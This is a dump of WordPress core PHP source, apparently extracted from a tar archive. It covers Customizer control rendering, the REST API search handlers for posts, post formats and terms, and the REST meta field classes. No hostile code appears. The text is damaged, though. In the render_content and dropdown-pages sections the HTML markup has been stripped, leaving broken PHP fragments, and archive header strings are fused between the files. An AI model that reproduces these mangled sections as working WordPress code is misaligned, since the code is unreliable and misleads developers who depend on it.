$this->active_callback = array( $this, 'active_callback' ); } self::$instance_count += 1; $this->instance_number = self::$instance_count; // Process settings. if ( ! isset( $this->settings ) ) { $this->settings = $id; } $settings = array(); if ( is_array( $this->settings ) ) { foreach ( $this->settings as $key => $setting ) { $settings[ $key ] = $this->manager->get_setting( $setting ); } } elseif ( is_string( $this->settings ) ) { $this->setting = $this->manager->get_setting( $this->settings ); $settings['default'] = $this->setting; } $this->settings = $settings; } /** * Enqueue control related scripts/styles. * * @since 3.4.0 */ public function enqueue() {} /** * Check whether control is active to current Customizer preview. * * @since 4.0.0 * * @return bool Whether the control is active to the current preview. */ final public function active() { $control = $this; $active = call_user_func( $this->active_callback, $this ); /** * Filters response of WP_Customize_Control::active(). * * @since 4.0.0 * * @param bool $active Whether the Customizer control is active. * @param WP_Customize_Control $control WP_Customize_Control instance. */ $active = apply_filters( 'customize_control_active', $active, $control ); return $active; } /** * Default callback used when invoking WP_Customize_Control::active(). * * Subclasses can override this with their specific logic, or they may * provide an 'active_callback' argument to the constructor. * * @since 4.0.0 * * @return true Always true. */ public function active_callback() { return true; } /** * Fetch a setting's value. * Grabs the main setting by default. * * @since 3.4.0 * * @param string $setting_key * @return mixed The requested setting's value, if the setting exists. */ final public function value( $setting_key = 'default' ) { if ( isset( $this->settings[ $setting_key ] ) ) { return $this->settings[ $setting_key ]->value(); } } /** * Refresh the parameters passed to the JavaScript via JSON. * * @since 3.4.0 */ public function to_json() { $this->json['settings'] = array(); foreach ( $this->settings as $key => $setting ) { $this->json['settings'][ $key ] = $setting->id; } $this->json['type'] = $this->type; $this->json['priority'] = $this->priority; $this->json['active'] = $this->active(); $this->json['section'] = $this->section; $this->json['content'] = $this->get_content(); $this->json['label'] = $this->label; $this->json['description'] = $this->description; $this->json['instanceNumber'] = $this->instance_number; if ( 'dropdown-pages' === $this->type ) { $this->json['allow_addition'] = $this->allow_addition; } } /** * Get the data to export to the client via JSON. * * @since 4.1.0 * * @return array Array of parameters passed to the JavaScript. */ public function json() { $this->to_json(); return $this->json; } /** * Checks if the user can use this control. * * Returns false if the user cannot manipulate one of the associated settings, * or if one of the associated settings does not exist. Also returns false if * the associated section does not exist or if its capability check returns * false. * * @since 3.4.0 * * @return bool False if theme doesn't support the control or user doesn't have the required permissions, otherwise true. */ final public function check_capabilities() { if ( ! empty( $this->capability ) && ! current_user_can( $this->capability ) ) { return false; } foreach ( $this->settings as $setting ) { if ( ! $setting || ! $setting->check_capabilities() ) { return false; } } $section = $this->manager->get_section( $this->section ); if ( isset( $section ) && ! $section->check_capabilities() ) { return false; } return true; } /** * Get the control's content for insertion into the Customizer pane. * * @since 4.1.0 * * @return string Contents of the control. */ final public function get_content() { ob_start(); $this->maybe_render(); return trim( ob_get_clean() ); } /** * Check capabilities and render the control. * * @since 3.4.0 * @uses WP_Customize_Control::render() */ final public function maybe_render() { if ( ! $this->check_capabilities() ) { return; } /** * Fires just before the current Customizer control is rendered. * * @since 3.4.0 * * @param WP_Customize_Control $control WP_Customize_Control instance. */ do_action( 'customize_render_control', $this ); /** * Fires just before a specific Customizer control is rendered. * * The dynamic portion of the hook name, `$this->id`, refers to * the control ID. * * @since 3.4.0 * * @param WP_Customize_Control $control WP_Customize_Control instance. */ do_action( "customize_render_control_{$this->id}", $this ); $this->render(); } /** * Renders the control wrapper and calls $this->render_content() for the internals. * * @since 3.4.0 */ protected function render() { $id = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id ); $class = 'customize-control customize-control-' . $this->type; printf( '
  • ', esc_attr( $id ), esc_attr( $class ) ); $this->render_content(); echo '
  • '; } /** * Get the data link attribute for a setting. * * @since 3.4.0 * @since 4.9.0 Return a `data-customize-setting-key-link` attribute if a setting is not registered for the supplied setting key. * * @param string $setting_key * @return string Data link parameter, a `data-customize-setting-link` attribute if the `$setting_key` refers to a pre-registered setting, * and a `data-customize-setting-key-link` attribute if the setting is not yet registered. */ public function get_link( $setting_key = 'default' ) { if ( isset( $this->settings[ $setting_key ] ) && $this->settings[ $setting_key ] instanceof WP_Customize_Setting ) { return 'data-customize-setting-link="' . esc_attr( $this->settings[ $setting_key ]->id ) . '"'; } else { return 'data-customize-setting-key-link="' . esc_attr( $setting_key ) . '"'; } } /** * Render the data link attribute for the control's input element. * * @since 3.4.0 * @uses WP_Customize_Control::get_link() * * @param string $setting_key */ public function link( $setting_key = 'default' ) { echo $this->get_link( $setting_key ); } /** * Render the custom attributes for the control's input element. * * @since 4.0.0 */ public function input_attrs() { foreach ( $this->input_attrs as $attr => $value ) { echo $attr . '="' . esc_attr( $value ) . '" '; } } /** * Render the control's content. * * Allows the content to be overridden without having to rewrite the wrapper in `$this::render()`. * * Supports basic input types `text`, `checkbox`, `textarea`, `radio`, `select` and `dropdown-pages`. * Additional input types such as `email`, `url`, `number`, `hidden` and `date` are supported implicitly. * * Control content can alternately be rendered in JS. See WP_Customize_Control::print_template(). * * @since 3.4.0 */ protected function render_content() { $input_id = '_customize-input-' . $this->id; $description_id = '_customize-description-' . $this->id; $describedby_attr = ( ! empty( $this->description ) ) ? ' aria-describedby="' . esc_attr( $description_id ) . '" ' : ''; switch ( $this->type ) { case 'checkbox': ?> type="checkbox" value="value() ); ?>" link(); ?> value() ); ?> /> description ) ) : ?> description; ?> choices ) ) { return; } $name = '_customize-radio-' . $this->id; ?> label ) ) : ?> label ); ?> description ) ) : ?> description; ?> choices as $value => $label ) : ?> value="" name="" link(); ?> value(), $value ); ?> /> choices ) ) { return; } ?> label ) ) : ?> description ) ) : ?> description; ?> label ) ) : ?> description ) ) : ?> description; ?> label ) ) : ?> description ) ) : ?> description; ?> id; $show_option_none = __( '— Select —' ); $option_none_value = '0'; $dropdown = wp_dropdown_pages( array( 'name' => $dropdown_name, 'echo' => 0, 'show_option_none' => $show_option_none, 'option_none_value' => $option_none_value, 'selected' => $this->value(), ) ); if ( empty( $dropdown ) ) { $dropdown = sprintf( ''; } // Hackily add in the data link parameter. $dropdown = str_replace( 'get_link() . ' id="' . esc_attr( $input_id ) . '" ' . $describedby_attr, $dropdown ); // Even more hacikly add auto-draft page stubs. // @todo Eventually this should be removed in favor of the pages being injected into the underlying get_pages() call. See . $nav_menus_created_posts_setting = $this->manager->get_setting( 'nav_menus_created_posts' ); if ( $nav_menus_created_posts_setting && current_user_can( 'publish_pages' ) ) { $auto_draft_page_options = ''; foreach ( $nav_menus_created_posts_setting->value() as $auto_draft_page_id ) { $post = get_post( $auto_draft_page_id ); if ( $post && 'page' === $post->post_type ) { $auto_draft_page_options .= sprintf( '', esc_attr( $post->ID ), esc_html( $post->post_title ) ); } } if ( $auto_draft_page_options ) { $dropdown = str_replace( '', $auto_draft_page_options . '', $dropdown ); } } echo $dropdown; ?> allow_addition && current_user_can( 'publish_pages' ) && current_user_can( 'edit_theme_options' ) ) : // Currently tied to menus functionality. ?>
    label ) ) : ?> description ) ) : ?> description; ?> input_attrs(); ?> input_attrs['value'] ) ) : ?> value="value() ); ?>" link(); ?> /> type = 'post'; // Support all public post types except attachments. $this->subtypes = array_diff( array_values( get_post_types( array( 'public' => true, 'show_in_rest' => true, ), 'names' ) ), array( 'attachment' ) ); } /** * Searches the object type content for a given search request. * * @since 5.0.0 * * @param WP_REST_Request $request Full REST request. * @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing * an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the * total count for the matching search results. */ public function search_items( WP_REST_Request $request ) { // Get the post types to search for the current request. $post_types = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ]; if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $post_types, true ) ) { $post_types = $this->subtypes; } $query_args = array( 'post_type' => $post_types, 'post_status' => 'publish', 'paged' => (int) $request['page'], 'posts_per_page' => (int) $request['per_page'], 'ignore_sticky_posts' => true, 'fields' => 'ids', ); if ( ! empty( $request['search'] ) ) { $query_args['s'] = $request['search']; } /** * Filters the query arguments for a REST API search request. * * Enables adding extra arguments or setting defaults for a post search request. * * @since 5.1.0 * * @param array $query_args Key value array of query var to query value. * @param WP_REST_Request $request The request used. */ $query_args = apply_filters( 'rest_post_search_query', $query_args, $request ); $query = new WP_Query(); $found_ids = $query->query( $query_args ); $total = $query->found_posts; return array( self::RESULT_IDS => $found_ids, self::RESULT_TOTAL => $total, ); } /** * Prepares the search result for a given ID. * * @since 5.0.0 * * @param int $id Item ID. * @param array $fields Fields to include for the item. * @return array Associative array containing all fields for the item. */ public function prepare_item( $id, array $fields ) { $post = get_post( $id ); $data = array(); if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_ID ] = (int) $post->ID; } if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) { if ( post_type_supports( $post->post_type, 'title' ) ) { add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); $data[ WP_REST_Search_Controller::PROP_TITLE ] = get_the_title( $post->ID ); remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); } else { $data[ WP_REST_Search_Controller::PROP_TITLE ] = ''; } } if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_URL ] = get_permalink( $post->ID ); } if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type; } if ( in_array( WP_REST_Search_Controller::PROP_SUBTYPE, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_SUBTYPE ] = $post->post_type; } return $data; } /** * Prepares links for the search result of a given ID. * * @since 5.0.0 * * @param int $id Item ID. * @return array Links for the given item. */ public function prepare_item_links( $id ) { $post = get_post( $id ); $links = array(); $item_route = rest_get_route_for_post( $post ); if ( ! empty( $item_route ) ) { $links['self'] = array( 'href' => rest_url( $item_route ), 'embeddable' => true, ); } $links['about'] = array( 'href' => rest_url( 'wp/v2/types/' . $post->post_type ), ); return $links; } /** * Overwrites the default protected title format. * * By default, WordPress will show password protected posts with a title of * "Protected: %s". As the REST API communicates the protected status of a post * in a machine readable format, we remove the "Protected: " prefix. * * @since 5.0.0 * * @return string Protected title format. */ public function protected_title_format() { return '%s'; } /** * Attempts to detect the route to access a single item. * * @since 5.0.0 * @deprecated 5.5.0 Use rest_get_route_for_post() * @see rest_get_route_for_post() * * @param WP_Post $post Post object. * @return string REST route relative to the REST base URI, or empty string if unknown. */ protected function detect_rest_item_route( $post ) { _deprecated_function( __METHOD__, '5.5.0', 'rest_get_route_for_post()' ); return rest_get_route_for_post( $post ); } } rest-api/search/class-wp-rest-post-format-search-handler.php000064400000007030147177035020020107 0ustar00type = 'post-format'; } /** * Searches the object type content for a given search request. * * @since 5.6.0 * * @param WP_REST_Request $request Full REST request. * @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing * an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the * total count for the matching search results. */ public function search_items( WP_REST_Request $request ) { $format_strings = get_post_format_strings(); $format_slugs = array_keys( $format_strings ); $query_args = array(); if ( ! empty( $request['search'] ) ) { $query_args['search'] = $request['search']; } /** * Filters the query arguments for a REST API search request. * * Enables adding extra arguments or setting defaults for a post format search request. * * @since 5.6.0 * * @param array $query_args Key value array of query var to query value. * @param WP_REST_Request $request The request used. */ $query_args = apply_filters( 'rest_post_format_search_query', $query_args, $request ); $found_ids = array(); foreach ( $format_slugs as $index => $format_slug ) { if ( ! empty( $query_args['search'] ) ) { $format_string = get_post_format_string( $format_slug ); $format_slug_match = stripos( $format_slug, $query_args['search'] ) !== false; $format_string_match = stripos( $format_string, $query_args['search'] ) !== false; if ( ! $format_slug_match && ! $format_string_match ) { continue; } } $format_link = get_post_format_link( $format_slug ); if ( $format_link ) { $found_ids[] = $format_slug; } } $page = (int) $request['page']; $per_page = (int) $request['per_page']; return array( self::RESULT_IDS => array_slice( $found_ids, ( $page - 1 ) * $per_page, $per_page ), self::RESULT_TOTAL => count( $found_ids ), ); } /** * Prepares the search result for a given ID. * * @since 5.6.0 * * @param string $id Item ID, the post format slug. * @param array $fields Fields to include for the item. * @return array Associative array containing all fields for the item. */ public function prepare_item( $id, array $fields ) { $data = array(); if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_ID ] = $id; } if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_TITLE ] = get_post_format_string( $id ); } if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_URL ] = get_post_format_link( $id ); } if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type; } return $data; } /** * Prepares links for the search result. * * @since 5.6.0 * * @param string $id Item ID, the post format slug. * @return array Links for the given item. */ public function prepare_item_links( $id ) { return array(); } } rest-api/search/class-wp-rest-term-search-handler.php000064400000007614147177035020016613 0ustar00type = 'term'; $this->subtypes = array_values( get_taxonomies( array( 'public' => true, 'show_in_rest' => true, ), 'names' ) ); } /** * Searches the object type content for a given search request. * * @since 5.6.0 * * @param WP_REST_Request $request Full REST request. * @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing * an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the * total count for the matching search results. */ public function search_items( WP_REST_Request $request ) { $taxonomies = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ]; if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $taxonomies, true ) ) { $taxonomies = $this->subtypes; } $page = (int) $request['page']; $per_page = (int) $request['per_page']; $query_args = array( 'taxonomy' => $taxonomies, 'hide_empty' => false, 'offset' => ( $page - 1 ) * $per_page, 'number' => $per_page, ); if ( ! empty( $request['search'] ) ) { $query_args['search'] = $request['search']; } /** * Filters the query arguments for a REST API search request. * * Enables adding extra arguments or setting defaults for a term search request. * * @since 5.6.0 * * @param array $query_args Key value array of query var to query value. * @param WP_REST_Request $request The request used. */ $query_args = apply_filters( 'rest_term_search_query', $query_args, $request ); $query = new WP_Term_Query(); $found_terms = $query->query( $query_args ); $found_ids = wp_list_pluck( $found_terms, 'term_id' ); unset( $query_args['offset'], $query_args['number'] ); $total = wp_count_terms( $query_args ); // wp_count_terms() can return a falsey value when the term has no children. if ( ! $total ) { $total = 0; } return array( self::RESULT_IDS => $found_ids, self::RESULT_TOTAL => $total, ); } /** * Prepares the search result for a given ID. * * @since 5.6.0 * * @param int $id Item ID. * @param array $fields Fields to include for the item. * @return array Associative array containing all fields for the item. */ public function prepare_item( $id, array $fields ) { $term = get_term( $id ); $data = array(); if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_ID ] = (int) $id; } if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_TITLE ] = $term->name; } if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_URL ] = get_term_link( $id ); } if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_TYPE ] = $term->taxonomy; } return $data; } /** * Prepares links for the search result of a given ID. * * @since 5.6.0 * * @param int $id Item ID. * @return array Links for the given item. */ public function prepare_item_links( $id ) { $term = get_term( $id ); $links = array(); $item_route = rest_get_route_for_term( $term ); if ( $item_route ) { $links['self'] = array( 'href' => rest_url( $item_route ), 'embeddable' => true, ); } $links['about'] = array( 'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $term->taxonomy ) ), ); return $links; } } rest-api/search/class-wp-rest-search-handler.php000064400000004327147177035020015644 0ustar00type; } /** * Gets the object subtypes managed by this search handler. * * @since 5.0.0 * * @return array Array of object subtype identifiers. */ public function get_subtypes() { return $this->subtypes; } /** * Searches the object type content for a given search request. * * @since 5.0.0 * * @param WP_REST_Request $request Full REST request. * @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing * an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the * total count for the matching search results. */ abstract public function search_items( WP_REST_Request $request ); /** * Prepares the search result for a given ID. * * @since 5.0.0 * @since 5.6.0 The `$id` parameter can accept a string. * * @param int|string $id Item ID. * @param array $fields Fields to include for the item. * @return array Associative array containing all fields for the item. */ abstract public function prepare_item( $id, array $fields ); /** * Prepares links for the search result of a given ID. * * @since 5.0.0 * @since 5.6.0 The `$id` parameter can accept a string. * * @param int|string $id Item ID. * @return array Links for the given item. */ abstract public function prepare_item_links( $id ); } rest-api/fields/class-wp-rest-user-meta-fields.php000064400000001530147177035020016124 0ustar00taxonomy = $taxonomy; } /** * Retrieves the term meta type. * * @since 4.7.0 * * @return string The meta type. */ protected function get_meta_type() { return 'term'; } /** * Retrieves the term meta subtype. * * @since 4.9.8 * * @return string Subtype for the meta type, or empty string if no specific subtype. */ protected function get_meta_subtype() { return $this->taxonomy; } /** * Retrieves the type for register_rest_field(). * * @since 4.7.0 * * @return string The REST field type. */ public function get_rest_field_type() { return 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy; } } rest-api/fields/class-wp-rest-meta-fields.php000064400000043236147177035020015161 0ustar00get_rest_field_type(), 'meta', array( 'get_callback' => array( $this, 'get_value' ), 'update_callback' => array( $this, 'update_value' ), 'schema' => $this->get_field_schema(), ) ); } /** * Retrieves the meta field value. * * @since 4.7.0 * * @param int $object_id Object ID to fetch meta for. * @param WP_REST_Request $request Full details about the request. * @return array Array containing the meta values keyed by name. */ public function get_value( $object_id, $request ) { $fields = $this->get_registered_fields(); $response = array(); foreach ( $fields as $meta_key => $args ) { $name = $args['name']; $all_values = get_metadata( $this->get_meta_type(), $object_id, $meta_key, false ); if ( $args['single'] ) { if ( empty( $all_values ) ) { $value = $args['schema']['default']; } else { $value = $all_values[0]; } $value = $this->prepare_value_for_response( $value, $request, $args ); } else { $value = array(); if ( is_array( $all_values ) ) { foreach ( $all_values as $row ) { $value[] = $this->prepare_value_for_response( $row, $request, $args ); } } } $response[ $name ] = $value; } return $response; } /** * Prepares a meta value for a response. * * This is required because some native types cannot be stored correctly * in the database, such as booleans. We need to cast back to the relevant * type before passing back to JSON. * * @since 4.7.0 * * @param mixed $value Meta value to prepare. * @param WP_REST_Request $request Current request object. * @param array $args Options for the field. * @return mixed Prepared value. */ protected function prepare_value_for_response( $value, $request, $args ) { if ( ! empty( $args['prepare_callback'] ) ) { $value = call_user_func( $args['prepare_callback'], $value, $request, $args ); } return $value; } /** * Updates meta values. * * @since 4.7.0 * * @param array $meta Array of meta parsed from the request. * @param int $object_id Object ID to fetch meta for. * @return null|WP_Error Null on success, WP_Error object on failure. */ public function update_value( $meta, $object_id ) { $fields = $this->get_registered_fields(); foreach ( $fields as $meta_key => $args ) { $name = $args['name']; if ( ! array_key_exists( $name, $meta ) ) { continue; } $value = $meta[ $name ]; /* * A null value means reset the field, which is essentially deleting it * from the database and then relying on the default value. * * Non-single meta can also be removed by passing an empty array. */ if ( is_null( $value ) || ( array() === $value && ! $args['single'] ) ) { $args = $this->get_registered_fields()[ $meta_key ]; if ( $args['single'] ) { $current = get_metadata( $this->get_meta_type(), $object_id, $meta_key, true ); if ( is_wp_error( rest_validate_value_from_schema( $current, $args['schema'] ) ) ) { return new WP_Error( 'rest_invalid_stored_value', /* translators: %s: Custom field key. */ sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ), array( 'status' => 500 ) ); } } $result = $this->delete_meta_value( $object_id, $meta_key, $name ); if ( is_wp_error( $result ) ) { return $result; } continue; } if ( ! $args['single'] && is_array( $value ) && count( array_filter( $value, 'is_null' ) ) ) { return new WP_Error( 'rest_invalid_stored_value', /* translators: %s: Custom field key. */ sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ), array( 'status' => 500 ) ); } $is_valid = rest_validate_value_from_schema( $value, $args['schema'], 'meta.' . $name ); if ( is_wp_error( $is_valid ) ) { $is_valid->add_data( array( 'status' => 400 ) ); return $is_valid; } $value = rest_sanitize_value_from_schema( $value, $args['schema'] ); if ( $args['single'] ) { $result = $this->update_meta_value( $object_id, $meta_key, $name, $value ); } else { $result = $this->update_multi_meta_value( $object_id, $meta_key, $name, $value ); } if ( is_wp_error( $result ) ) { return $result; } } return null; } /** * Deletes a meta value for an object. * * @since 4.7.0 * * @param int $object_id Object ID the field belongs to. * @param string $meta_key Key for the field. * @param string $name Name for the field that is exposed in the REST API. * @return true|WP_Error True if meta field is deleted, WP_Error otherwise. */ protected function delete_meta_value( $object_id, $meta_key, $name ) { $meta_type = $this->get_meta_type(); if ( ! current_user_can( "delete_{$meta_type}_meta", $object_id, $meta_key ) ) { return new WP_Error( 'rest_cannot_delete', /* translators: %s: Custom field key. */ sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ), array( 'key' => $name, 'status' => rest_authorization_required_code(), ) ); } if ( null === get_metadata_raw( $meta_type, $object_id, wp_slash( $meta_key ) ) ) { return true; } if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ) ) ) { return new WP_Error( 'rest_meta_database_error', __( 'Could not delete meta value from database.' ), array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR, ) ); } return true; } /** * Updates multiple meta values for an object. * * Alters the list of values in the database to match the list of provided values. * * @since 4.7.0 * * @param int $object_id Object ID to update. * @param string $meta_key Key for the custom field. * @param string $name Name for the field that is exposed in the REST API. * @param array $values List of values to update to. * @return true|WP_Error True if meta fields are updated, WP_Error otherwise. */ protected function update_multi_meta_value( $object_id, $meta_key, $name, $values ) { $meta_type = $this->get_meta_type(); if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) { return new WP_Error( 'rest_cannot_update', /* translators: %s: Custom field key. */ sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ), array( 'key' => $name, 'status' => rest_authorization_required_code(), ) ); } $current_values = get_metadata( $meta_type, $object_id, $meta_key, false ); $subtype = get_object_subtype( $meta_type, $object_id ); if ( ! is_array( $current_values ) ) { $current_values = array(); } $to_remove = $current_values; $to_add = $values; foreach ( $to_add as $add_key => $value ) { $remove_keys = array_keys( array_filter( $current_values, function ( $stored_value ) use ( $meta_key, $subtype, $value ) { return $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $value ); } ) ); if ( empty( $remove_keys ) ) { continue; } if ( count( $remove_keys ) > 1 ) { // To remove, we need to remove first, then add, so don't touch. continue; } $remove_key = $remove_keys[0]; unset( $to_remove[ $remove_key ] ); unset( $to_add[ $add_key ] ); } /* * `delete_metadata` removes _all_ instances of the value, so only call once. Otherwise, * `delete_metadata` will return false for subsequent calls of the same value. * Use serialization to produce a predictable string that can be used by array_unique. */ $to_remove = array_map( 'maybe_unserialize', array_unique( array_map( 'maybe_serialize', $to_remove ) ) ); foreach ( $to_remove as $value ) { if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) { return new WP_Error( 'rest_meta_database_error', /* translators: %s: Custom field key. */ sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ), array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR, ) ); } } foreach ( $to_add as $value ) { if ( ! add_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) { return new WP_Error( 'rest_meta_database_error', /* translators: %s: Custom field key. */ sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ), array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR, ) ); } } return true; } /** * Updates a meta value for an object. * * @since 4.7.0 * * @param int $object_id Object ID to update. * @param string $meta_key Key for the custom field. * @param string $name Name for the field that is exposed in the REST API. * @param mixed $value Updated value. * @return true|WP_Error True if the meta field was updated, WP_Error otherwise. */ protected function update_meta_value( $object_id, $meta_key, $name, $value ) { $meta_type = $this->get_meta_type(); if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) { return new WP_Error( 'rest_cannot_update', /* translators: %s: Custom field key. */ sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ), array( 'key' => $name, 'status' => rest_authorization_required_code(), ) ); } // Do the exact same check for a duplicate value as in update_metadata() to avoid update_metadata() returning false. $old_value = get_metadata( $meta_type, $object_id, $meta_key ); $subtype = get_object_subtype( $meta_type, $object_id ); if ( is_array( $old_value ) && 1 === count( $old_value ) && $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $old_value[0], $value ) ) { return true; } if ( ! update_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) { return new WP_Error( 'rest_meta_database_error', /* translators: %s: Custom field key. */ sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ), array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR, ) ); } return true; } /** * Checks if the user provided value is equivalent to a stored value for the given meta key. * * @since 5.5.0 * * @param string $meta_key The meta key being checked. * @param string $subtype The object subtype. * @param mixed $stored_value The currently stored value retrieved from get_metadata(). * @param mixed $user_value The value provided by the user. * @return bool */ protected function is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $user_value ) { $args = $this->get_registered_fields()[ $meta_key ]; $sanitized = sanitize_meta( $meta_key, $user_value, $this->get_meta_type(), $subtype ); if ( in_array( $args['type'], array( 'string', 'number', 'integer', 'boolean' ), true ) ) { // The return value of get_metadata will always be a string for scalar types. $sanitized = (string) $sanitized; } return $sanitized === $stored_value; } /** * Retrieves all the registered meta fields. * * @since 4.7.0 * * @return array Registered fields. */ protected function get_registered_fields() { $registered = array(); $meta_type = $this->get_meta_type(); $meta_subtype = $this->get_meta_subtype(); $meta_keys = get_registered_meta_keys( $meta_type ); if ( ! empty( $meta_subtype ) ) { $meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $meta_type, $meta_subtype ) ); } foreach ( $meta_keys as $name => $args ) { if ( empty( $args['show_in_rest'] ) ) { continue; } $rest_args = array(); if ( is_array( $args['show_in_rest'] ) ) { $rest_args = $args['show_in_rest']; } $default_args = array( 'name' => $name, 'single' => $args['single'], 'type' => ! empty( $args['type'] ) ? $args['type'] : null, 'schema' => array(), 'prepare_callback' => array( $this, 'prepare_value' ), ); $default_schema = array( 'type' => $default_args['type'], 'description' => empty( $args['description'] ) ? '' : $args['description'], 'default' => isset( $args['default'] ) ? $args['default'] : null, ); $rest_args = array_merge( $default_args, $rest_args ); $rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] ); $type = ! empty( $rest_args['type'] ) ? $rest_args['type'] : null; $type = ! empty( $rest_args['schema']['type'] ) ? $rest_args['schema']['type'] : $type; if ( null === $rest_args['schema']['default'] ) { $rest_args['schema']['default'] = static::get_empty_value_for_type( $type ); } $rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] ); if ( ! in_array( $type, array( 'string', 'boolean', 'integer', 'number', 'array', 'object' ), true ) ) { continue; } if ( empty( $rest_args['single'] ) ) { $rest_args['schema'] = array( 'type' => 'array', 'items' => $rest_args['schema'], ); } $registered[ $name ] = $rest_args; } return $registered; } /** * Retrieves the object's meta schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Field schema data. */ public function get_field_schema() { $fields = $this->get_registered_fields(); $schema = array( 'description' => __( 'Meta fields.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'properties' => array(), 'arg_options' => array( 'sanitize_callback' => null, 'validate_callback' => array( $this, 'check_meta_is_array' ), ), ); foreach ( $fields as $args ) { $schema['properties'][ $args['name'] ] = $args['schema']; } return $schema; } /** * Prepares a meta value for output. * * Default preparation for meta fields. Override by passing the * `prepare_callback` in your `show_in_rest` options. * * @since 4.7.0 * * @param mixed $value Meta value from the database. * @param WP_REST_Request $request Request object. * @param array $args REST-specific options for the meta key. * @return mixed Value prepared for output. If a non-JsonSerializable object, null. */ public static function prepare_value( $value, $request, $args ) { if ( $args['single'] ) { $schema = $args['schema']; } else { $schema = $args['schema']['items']; } if ( '' === $value && in_array( $schema['type'], array( 'boolean', 'integer', 'number' ), true ) ) { $value = static::get_empty_value_for_type( $schema['type'] ); } if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) { return null; } return rest_sanitize_value_from_schema( $value, $schema ); } /** * Check the 'meta' value of a request is an associative array. * * @since 4.7.0 * * @param mixed $value The meta value submitted in the request. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter name. * @return array|false The meta array, if valid, false otherwise. */ public function check_meta_is_array( $value, $request, $param ) { if ( ! is_array( $value ) ) { return false; } return $value; } /** * Recursively add additionalProperties = false to all objects in a schema if no additionalProperties setting * is specified. * * This is needed to restrict properties of objects in meta values to only * registered items, as the REST API will allow additional properties by * default. * * @since 5.3.0 * @deprecated 5.6.0 Use rest_default_additional_properties_to_false() instead. * * @param array $schema The schema array. * @return array */ protected function default_additional_properties_to_false( $schema ) { _deprecated_function( __METHOD__, '5.6.0', 'rest_default_additional_properties_to_false()' ); return rest_default_additional_properties_to_false( $schema ); } /** * Gets the empty value for a schema type. * * @since 5.3.0 * * @param string $type The schema type. * @return mixed */ protected static function get_empty_value_for_type( $type ) { switch ( $type ) { case 'string': return ''; case 'boolean': return false; case 'integer': return 0; case 'number': return 0.0; case 'array': case 'object': return array(); default: return null; } } } rest-api/fields/class-wp-rest-post-meta-fields.php000064400000002334147177035020016136 0ustar00post_type = $post_type; } /** * Retrieves the post meta type. * * @since 4.7.0 * * @return string The meta type. */ protected function get_meta_type() { return 'post'; } /** * Retrieves the post meta subtype. * * 